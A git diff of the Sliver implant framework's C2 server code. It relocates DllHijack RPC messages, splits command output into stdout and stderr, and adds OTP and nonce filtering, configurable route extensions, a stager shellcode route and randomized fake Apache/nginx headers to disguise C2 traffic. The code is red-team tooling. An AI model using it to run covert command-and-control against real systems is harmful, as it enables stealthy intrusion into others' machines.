0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73,
|
||||
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61,
|
||||
0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c, 0x12,
|
||||
0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69,
|
||||
0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69,
|
||||
0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
|
||||
0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35, 0x0a, 0x08,
|
||||
0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71, 0x1a,
|
||||
@@ -488,7 +488,7 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
|
||||
(*sliverpb.RegistrySubKeyListReq)(nil), // 62: sliverpb.RegistrySubKeyListReq
|
||||
(*sliverpb.RegistryListValuesReq)(nil), // 63: sliverpb.RegistryListValuesReq
|
||||
(*sliverpb.SSHCommandReq)(nil), // 64: sliverpb.SSHCommandReq
|
||||
(*sliverpb.DllHijackReq)(nil), // 65: sliverpb.DllHijackReq
|
||||
(*clientpb.DllHijackReq)(nil), // 65: clientpb.DllHijackReq
|
||||
(*sliverpb.GetPrivsReq)(nil), // 66: sliverpb.GetPrivsReq
|
||||
(*sliverpb.RegisterExtensionReq)(nil), // 67: sliverpb.RegisterExtensionReq
|
||||
(*sliverpb.CallExtensionReq)(nil), // 68: sliverpb.CallExtensionReq
|
||||
@@ -564,7 +564,7 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
|
||||
(*sliverpb.RegistrySubKeyList)(nil), // 138: sliverpb.RegistrySubKeyList
|
||||
(*sliverpb.RegistryValuesList)(nil), // 139: sliverpb.RegistryValuesList
|
||||
(*sliverpb.SSHCommand)(nil), // 140: sliverpb.SSHCommand
|
||||
(*sliverpb.DllHijack)(nil), // 141: sliverpb.DllHijack
|
||||
(*clientpb.DllHijack)(nil), // 141: clientpb.DllHijack
|
||||
(*sliverpb.GetPrivs)(nil), // 142: sliverpb.GetPrivs
|
||||
(*sliverpb.RegisterExtension)(nil), // 143: sliverpb.RegisterExtension
|
||||
(*sliverpb.CallExtension)(nil), // 144: sliverpb.CallExtension
|
||||
@@ -667,7 +667,7 @@ var file_rpcpb_services_proto_depIdxs = []int32{
|
||||
62, // 86: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
|
||||
63, // 87: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
|
||||
64, // 88: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
|
||||
65, // 89: rpcpb.SliverRPC.HijackDLL:input_type -> sliverpb.DllHijackReq
|
||||
65, // 89: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
|
||||
66, // 90: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
|
||||
67, // 91: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
|
||||
68, // 92: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
|
||||
@@ -773,7 +773,7 @@ var file_rpcpb_services_proto_depIdxs = []int32{
|
||||
138, // 192: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
|
||||
139, // 193: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
|
||||
140, // 194: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
|
||||
141, // 195: rpcpb.SliverRPC.HijackDLL:output_type -> sliverpb.DllHijack
|
||||
141, // 195: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
|
||||
142, // 196: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
|
||||
143, // 197: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
|
||||
144, // 198: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
|
||||
|
||||
@@ -121,7 +121,7 @@ service SliverRPC {
|
||||
rpc RegistryListSubKeys(sliverpb.RegistrySubKeyListReq) returns (sliverpb.RegistrySubKeyList);
|
||||
rpc RegistryListValues(sliverpb.RegistryListValuesReq) returns (sliverpb.RegistryValuesList);
|
||||
rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand);
|
||||
rpc HijackDLL(sliverpb.DllHijackReq) returns (sliverpb.DllHijack);
|
||||
rpc HijackDLL(clientpb.DllHijackReq) returns (clientpb.DllHijack);
|
||||
rpc GetPrivs(sliverpb.GetPrivsReq) returns (sliverpb.GetPrivs);
|
||||
// Extensions
|
||||
rpc RegisterExtension(sliverpb.RegisterExtensionReq) returns (sliverpb.RegisterExtension);
|
||||
|
||||
@@ -122,7 +122,7 @@ type SliverRPCClient interface {
|
||||
RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error)
|
||||
RegistryListValues(ctx context.Context, in *sliverpb.RegistryListValuesReq, opts ...grpc.CallOption) (*sliverpb.RegistryValuesList, error)
|
||||
RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error)
|
||||
HijackDLL(ctx context.Context, in *sliverpb.DllHijackReq, opts ...grpc.CallOption) (*sliverpb.DllHijack, error)
|
||||
HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error)
|
||||
GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error)
|
||||
// Extensions
|
||||
RegisterExtension(ctx context.Context, in *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error)
|
||||
@@ -955,8 +955,8 @@ func (c *sliverRPCClient) RunSSHCommand(ctx context.Context, in *sliverpb.SSHCom
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) HijackDLL(ctx context.Context, in *sliverpb.DllHijackReq, opts ...grpc.CallOption) (*sliverpb.DllHijack, error) {
|
||||
out := new(sliverpb.DllHijack)
|
||||
func (c *sliverRPCClient) HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error) {
|
||||
out := new(clientpb.DllHijack)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HijackDLL", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -1258,7 +1258,7 @@ type SliverRPCServer interface {
|
||||
RegistryListSubKeys(context.Context, *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error)
|
||||
RegistryListValues(context.Context, *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error)
|
||||
RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error)
|
||||
HijackDLL(context.Context, *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error)
|
||||
HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error)
|
||||
GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error)
|
||||
// Extensions
|
||||
RegisterExtension(context.Context, *sliverpb.RegisterExtensionReq) (*sliverpb.RegisterExtension, error)
|
||||
@@ -1554,7 +1554,7 @@ func (UnimplementedSliverRPCServer) RegistryListValues(context.Context, *sliverp
|
||||
func (UnimplementedSliverRPCServer) RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method RunSSHCommand not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error) {
|
||||
func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method HijackDLL not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
|
||||
@@ -3221,7 +3221,7 @@ func _SliverRPC_RunSSHCommand_Handler(srv interface{}, ctx context.Context, dec
|
||||
}
|
||||
|
||||
func _SliverRPC_HijackDLL_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.DllHijackReq)
|
||||
in := new(clientpb.DllHijackReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -3233,7 +3233,7 @@ func _SliverRPC_HijackDLL_Handler(srv interface{}, ctx context.Context, dec func
|
||||
FullMethod: "/rpcpb.SliverRPC/HijackDLL",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).HijackDLL(ctx, req.(*sliverpb.DllHijackReq))
|
||||
return srv.(SliverRPCServer).HijackDLL(ctx, req.(*clientpb.DllHijackReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
+1057
-1181
File diff suppressed because it is too large.
Load diff
@@ -47,6 +47,7 @@ message Register {
|
||||
uint32 ReconnectInterval = 13;
|
||||
string ProxyURL = 14;
|
||||
uint32 PollInterval = 15;
|
||||
string ConfigID = 16;
|
||||
}
|
||||
|
||||
// Ping - Not ICMP, just sends a rount trip message to an implant to
|
||||
@@ -331,6 +332,8 @@ message ExecuteReq {
|
||||
string Path = 1;
|
||||
repeated string Args = 2;
|
||||
bool Output = 3;
|
||||
string Stdout = 4;
|
||||
string Stderr = 5;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
@@ -339,13 +342,16 @@ message ExecuteTokenReq {
|
||||
string Path = 1;
|
||||
repeated string Args = 2;
|
||||
bool Output = 3;
|
||||
string Stdout = 4;
|
||||
string Stderr = 5;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message Execute {
|
||||
string Result = 1;
|
||||
uint32 Status = 2;
|
||||
uint32 Status = 1;
|
||||
string Stdout = 2;
|
||||
string Stderr = 3;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
@@ -802,20 +808,6 @@ message SSHCommand {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message DllHijackReq {
|
||||
string ReferenceDLLPath = 1;
|
||||
string TargetLocation = 2;
|
||||
bytes ReferenceDLL = 3;
|
||||
bytes TargetDLL = 4;
|
||||
string ProfileName = 5;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message DllHijack {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message GetPrivsReq {
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
@@ -1,52 +0,0 @@
|
||||
package c2
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
)
|
||||
|
||||
func TestRsaKeyHandler(t *testing.T) {
|
||||
|
||||
certs.SetupCAs()
|
||||
|
||||
req, err := http.NewRequest("GET", "/test/foo.txt", nil)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
server, err := StartHTTPSListener(&HTTPServerConfig{
|
||||
Addr: "127.0.0.1:8888",
|
||||
})
|
||||
if err != nil {
|
||||
t.Errorf("Listener failed to start %s", err)
|
||||
return
|
||||
}
|
||||
rr := httptest.NewRecorder()
|
||||
handler := http.HandlerFunc(server.rsaKeyHandler)
|
||||
handler.ServeHTTP(rr, req)
|
||||
if status := rr.Code; status != http.StatusOK {
|
||||
t.Errorf("handler returned wrong status code: got %v want %v", status, http.StatusOK)
|
||||
}
|
||||
|
||||
}
|
||||
File renamed without changes.
@@ -19,6 +19,7 @@ package c2
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
@@ -27,19 +28,25 @@ import (
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"encoding/pem"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
insecureRand "math/rand"
|
||||
"mime"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
"unicode"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
sliverHandlers "github.com/bishopfox/sliver/server/handlers"
|
||||
@@ -54,14 +61,26 @@ import (
|
||||
var (
|
||||
httpLog = log.NamedLogger("c2", "http")
|
||||
accessLog = log.NamedLogger("c2", "http-access")
|
||||
|
||||
ErrMissingNonce = errors.New("nonce not found in request")
|
||||
ErrMissingOTP = errors.New("otp code not found in request")
|
||||
ErrInvalidEncoder = errors.New("invalid request encoder")
|
||||
ErrDecodeFailed = errors.New("failed to decode request")
|
||||
ErrReplayAttack = errors.New("replay attack detected")
|
||||
)
|
||||
|
||||
const (
|
||||
defaultHTTPTimeout = time.Second * 60
|
||||
pollTimeout = defaultHTTPTimeout - 5
|
||||
sessionCookieName = "PHPSESSID"
|
||||
DefaultMaxBodyLength = 2 * 1024 * 1024 * 1024 // 2Gb
|
||||
DefaultHTTPTimeout = time.Minute * 5
|
||||
DefaultLongPollTimeout = float32(20)
|
||||
DefaultLongPollJitter = float32(20)
|
||||
minPollTimeout = time.Second * 5
|
||||
)
|
||||
|
||||
func init() {
|
||||
insecureRand.Seed(time.Now().UnixNano())
|
||||
}
|
||||
|
||||
// HTTPSession - Holds data related to a sliver c2 session
|
||||
type HTTPSession struct {
|
||||
ID string
|
||||
@@ -126,33 +145,50 @@ type HTTPServerConfig struct {
|
||||
Cert []byte
|
||||
Key []byte
|
||||
ACME bool
|
||||
|
||||
MaxRequestLength int
|
||||
|
||||
EnforceOTP bool
|
||||
LongPollTimeout float32
|
||||
LongPollJitter float32
|
||||
}
|
||||
|
||||
// SliverHTTPC2 - Holds refs to all the C2 objects
|
||||
type SliverHTTPC2 struct {
|
||||
HTTPServer *http.Server
|
||||
Conf *HTTPServerConfig
|
||||
ServerConf *HTTPServerConfig // Server config (user args)
|
||||
HTTPSessions *HTTPSessions
|
||||
SliverStage []byte // Sliver shellcode to serve during staging process
|
||||
Cleanup func()
|
||||
|
||||
server string
|
||||
poweredBy string
|
||||
c2Config *configs.HTTPC2Config // C2 config (from config file)
|
||||
serverVersion string
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) getServerHeader() string {
|
||||
if s.server == "" {
|
||||
s.server = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(43))
|
||||
if s.serverVersion == "" {
|
||||
switch insecureRand.Intn(1) {
|
||||
case 0:
|
||||
s.serverVersion = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(48))
|
||||
default:
|
||||
s.serverVersion = fmt.Sprintf("nginx/1.%d.%d (Ubuntu)", insecureRand.Intn(21), insecureRand.Intn(8))
|
||||
}
|
||||
}
|
||||
return s.server
|
||||
return s.serverVersion
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) getPoweredByHeader() string {
|
||||
if s.poweredBy == "" {
|
||||
s.poweredBy = fmt.Sprintf("PHP/7.%d.%d",
|
||||
insecureRand.Intn(3), insecureRand.Intn(17))
|
||||
func (s *SliverHTTPC2) getCookieName() string {
|
||||
cookies := configs.GetHTTPC2Config().ServerConfig.Cookies
|
||||
index := insecureRand.Intn(len(cookies))
|
||||
return cookies[index]
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) LoadC2Config() *configs.HTTPC2Config {
|
||||
if s.c2Config != nil {
|
||||
return s.c2Config
|
||||
}
|
||||
return s.poweredBy
|
||||
s.c2Config = configs.GetHTTPC2Config()
|
||||
return s.c2Config
|
||||
}
|
||||
|
||||
// StartHTTPSListener - Start an HTTP(S) listener, this can be used to start both
|
||||
@@ -162,7 +198,7 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
|
||||
StartPivotListener()
|
||||
httpLog.Infof("Starting https listener on '%s'", conf.Addr)
|
||||
server := &SliverHTTPC2{
|
||||
Conf: conf,
|
||||
ServerConf: conf,
|
||||
HTTPSessions: &HTTPSessions{
|
||||
active: &map[string]*HTTPSession{},
|
||||
mutex: &sync.RWMutex{},
|
||||
@@ -171,9 +207,9 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
|
||||
server.HTTPServer = &http.Server{
|
||||
Addr: conf.Addr,
|
||||
Handler: server.router(),
|
||||
WriteTimeout: defaultHTTPTimeout,
|
||||
ReadTimeout: defaultHTTPTimeout,
|
||||
IdleTimeout: defaultHTTPTimeout,
|
||||
WriteTimeout: DefaultHTTPTimeout,
|
||||
ReadTimeout: DefaultHTTPTimeout,
|
||||
IdleTimeout: DefaultHTTPTimeout,
|
||||
TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler), 0),
|
||||
}
|
||||
if conf.ACME {
|
||||
@@ -195,7 +231,7 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
|
||||
defer cancelHTTPS()
|
||||
server.HTTPServer.Shutdown(ctx)
|
||||
if err := acmeHTTPServer.Shutdown(ctx); err != nil {
|
||||
httpLog.Warnf("Failed to shutdown https server")
|
||||
httpLog.Warn("Failed to shutdown https server")
|
||||
}
|
||||
}
|
||||
} else {
|
||||
@@ -205,13 +241,11 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
|
||||
defer cancel()
|
||||
server.HTTPServer.Shutdown(ctx)
|
||||
if err := server.HTTPServer.Shutdown(ctx); err != nil {
|
||||
httpLog.Warnf("Failed to shutdown https server")
|
||||
httpLog.Warn("Failed to shutdown https server")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
c, k, err := certs.C2ServerGetRSACertificate(conf.Domain)
|
||||
httpLog.Infof("C2-Server: %v %v %v", c, k, err)
|
||||
_, _, err := certs.C2ServerGetRSACertificate(conf.Domain)
|
||||
if err == certs.ErrCertDoesNotExist {
|
||||
httpLog.Infof("Generating C2 server certificate ...")
|
||||
_, _, err := certs.C2ServerGenerateRSACertificate(conf.Domain)
|
||||
@@ -220,62 +254,86 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
return server, nil
|
||||
}
|
||||
|
||||
func getHTTPTLSConfig(conf *HTTPServerConfig) *tls.Config {
|
||||
if conf.Cert == nil || conf.Key == nil {
|
||||
var err error
|
||||
conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate(conf.Domain)
|
||||
if conf.Domain != "" {
|
||||
conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate(conf.Domain)
|
||||
} else {
|
||||
conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate("localhost")
|
||||
}
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to generate self-signed tls cert/key pair %v", err)
|
||||
httpLog.Errorf("Failed to generate self-signed tls cert/key pair %s", err)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
cert, err := tls.X509KeyPair(conf.Cert, conf.Key)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to parse tls cert/key pair %v", err)
|
||||
httpLog.Errorf("Failed to parse tls cert/key pair %s", err)
|
||||
return nil
|
||||
}
|
||||
return &tls.Config{
|
||||
Certificates: []tls.Certificate{cert},
|
||||
MinVersion: tls.VersionTLS12,
|
||||
CurvePreferences: []tls.CurveID{tls.CurveP521, tls.CurveP384, tls.CurveP256},
|
||||
PreferServerCipherSuites: true,
|
||||
CipherSuites: []uint16{
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,
|
||||
tls.TLS_RSA_WITH_AES_256_GCM_SHA384,
|
||||
tls.TLS_RSA_WITH_AES_256_CBC_SHA,
|
||||
},
|
||||
Certificates: []tls.Certificate{cert},
|
||||
MinVersion: tls.VersionTLS12,
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) router() *mux.Router {
|
||||
router := mux.NewRouter()
|
||||
c2Config := s.LoadC2Config()
|
||||
if s.ServerConf.MaxRequestLength < 1024 {
|
||||
s.ServerConf.MaxRequestLength = DefaultMaxBodyLength
|
||||
}
|
||||
if s.ServerConf.LongPollTimeout == 0 {
|
||||
s.ServerConf.LongPollTimeout = DefaultLongPollTimeout
|
||||
s.ServerConf.LongPollJitter = DefaultLongPollJitter
|
||||
}
|
||||
|
||||
// Procedural C2
|
||||
// ===============
|
||||
// .txt = rsakey
|
||||
// .jsp = start
|
||||
// .php = session
|
||||
// .js = poll
|
||||
// .png = stop
|
||||
// .woff = sliver shellcode
|
||||
// Key Exchange Handler
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.KeyExchangeFileExt),
|
||||
s.rsaKeyHandler,
|
||||
).MatcherFunc(s.filterOTP).MatcherFunc(s.filterNonce).Methods(http.MethodGet)
|
||||
|
||||
// Start Session Handler
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.StartSessionFileExt),
|
||||
s.startSessionHandler,
|
||||
).MatcherFunc(s.filterOTP).MatcherFunc(s.filterNonce).Methods(http.MethodGet, http.MethodPost)
|
||||
|
||||
// Session Handler
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.SessionFileExt),
|
||||
s.sessionHandler,
|
||||
).MatcherFunc(s.filterNonce).Methods(http.MethodGet, http.MethodPost)
|
||||
|
||||
// Poll Handler
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.PollFileExt),
|
||||
s.pollHandler,
|
||||
).MatcherFunc(s.filterNonce).Methods(http.MethodGet)
|
||||
|
||||
// Close Handler
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.CloseFileExt),
|
||||
s.closeHandler,
|
||||
).MatcherFunc(s.filterNonce).Methods(http.MethodGet)
|
||||
|
||||
router.HandleFunc("/{rpath:.*\\.txt$}", s.rsaKeyHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
|
||||
router.HandleFunc("/{rpath:.*\\.jsp$}", s.startSessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
|
||||
router.HandleFunc("/{rpath:.*\\.php$}", s.sessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
|
||||
router.HandleFunc("/{rpath:.*\\.js$}", s.pollHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
|
||||
router.HandleFunc("/{rpath:.*\\.png$}", s.stopHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
|
||||
// Can't force the user agent on the stager payload
|
||||
// Request from msf stager payload will look like:
|
||||
// GET /fonts/Inter-Medium.woff/B64_ENCODED_PAYLOAD_UUID
|
||||
router.HandleFunc("/{rpath:.*\\.woff[/]{0,1}.*$}", s.stagerHander).Methods(http.MethodGet)
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s[/]{0,1}.*$}", c2Config.ImplantConfig.StagerFileExt),
|
||||
s.stagerHander,
|
||||
).MatcherFunc(s.filterOTP).Methods(http.MethodGet)
|
||||
|
||||
// Request does not match the C2 profile so we pass it to the static content or 404 handler
|
||||
if s.Conf.Website != "" {
|
||||
httpLog.Infof("Serving static content from website %v", s.Conf.Website)
|
||||
if s.ServerConf.Website != "" {
|
||||
httpLog.Infof("Serving static content from website %v", s.ServerConf.Website)
|
||||
router.HandleFunc("/{rpath:.*}", s.websiteContentHandler).Methods(http.MethodGet)
|
||||
} else {
|
||||
// 404 Handler - Just 404 on every path that doesn't match another handler
|
||||
@@ -290,19 +348,86 @@ func (s *SliverHTTPC2) router() *mux.Router {
|
||||
}
|
||||
|
||||
// This filters requests that do not have a valid nonce
|
||||
func filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
|
||||
qNonce := req.URL.Query().Get("_")
|
||||
func (s *SliverHTTPC2) filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
|
||||
nonce, err := getNonceFromURL(req.URL)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Invalid nonce '%d' ignore request", nonce)
|
||||
return false // NaN
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) filterOTP(req *http.Request, rm *mux.RouteMatch) bool {
|
||||
if s.ServerConf.EnforceOTP {
|
||||
httpLog.Debug("Checking for valid OTP code ...")
|
||||
otpCode, err := getOTPFromURL(req.URL)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to validate OTP %s", err)
|
||||
return false
|
||||
}
|
||||
valid, err := cryptography.ValidateTOTP(otpCode)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to validate OTP %s", err)
|
||||
return false
|
||||
}
|
||||
if valid {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
} else {
|
||||
httpLog.Debug("OTP enforcement is disabled")
|
||||
return true // OTP enforcement is disabled
|
||||
}
|
||||
}
|
||||
|
||||
func getNonceFromURL(reqURL *url.URL) (int, error) {
|
||||
qNonce := ""
|
||||
for arg, values := range reqURL.Query() {
|
||||
if len(arg) == 1 {
|
||||
qNonce = digitsOnly(values[0])
|
||||
break
|
||||
}
|
||||
}
|
||||
if qNonce == "" {
|
||||
httpLog.Warn("Nonce not found in request")
|
||||
return 0, ErrMissingNonce
|
||||
}
|
||||
nonce, err := strconv.Atoi(qNonce)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Invalid nonce '%s' ignore request", qNonce)
|
||||
return false // NaN
|
||||
httpLog.Warnf("Invalid nonce, failed to parse '%s'", qNonce)
|
||||
return 0, err
|
||||
}
|
||||
_, _, err = encoders.EncoderFromNonce(nonce)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Invalid nonce (%d) ignore request", nonce)
|
||||
return false // Not a valid encoder
|
||||
httpLog.Warnf("Invalid nonce (%s)", err)
|
||||
return 0, err
|
||||
}
|
||||
return true
|
||||
return nonce, nil
|
||||
}
|
||||
|
||||
func getOTPFromURL(reqURL *url.URL) (string, error) {
|
||||
otpCode := ""
|
||||
for arg, values := range reqURL.Query() {
|
||||
if len(arg) == 2 {
|
||||
otpCode = digitsOnly(values[0])
|
||||
break
|
||||
}
|
||||
}
|
||||
if otpCode == "" {
|
||||
httpLog.Warn("OTP not found in request")
|
||||
return "", ErrMissingNonce
|
||||
}
|
||||
return otpCode, nil
|
||||
}
|
||||
|
||||
func digitsOnly(value string) string {
|
||||
var buf bytes.Buffer
|
||||
for _, char := range value {
|
||||
if unicode.IsDigit(char) {
|
||||
buf.WriteRune(char)
|
||||
}
|
||||
}
|
||||
return buf.String()
|
||||
}
|
||||
|
||||
func loggingMiddleware(next http.Handler) http.Handler {
|
||||
@@ -316,34 +441,36 @@ func loggingMiddleware(next http.Handler) http.Handler {
|
||||
func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler {
|
||||
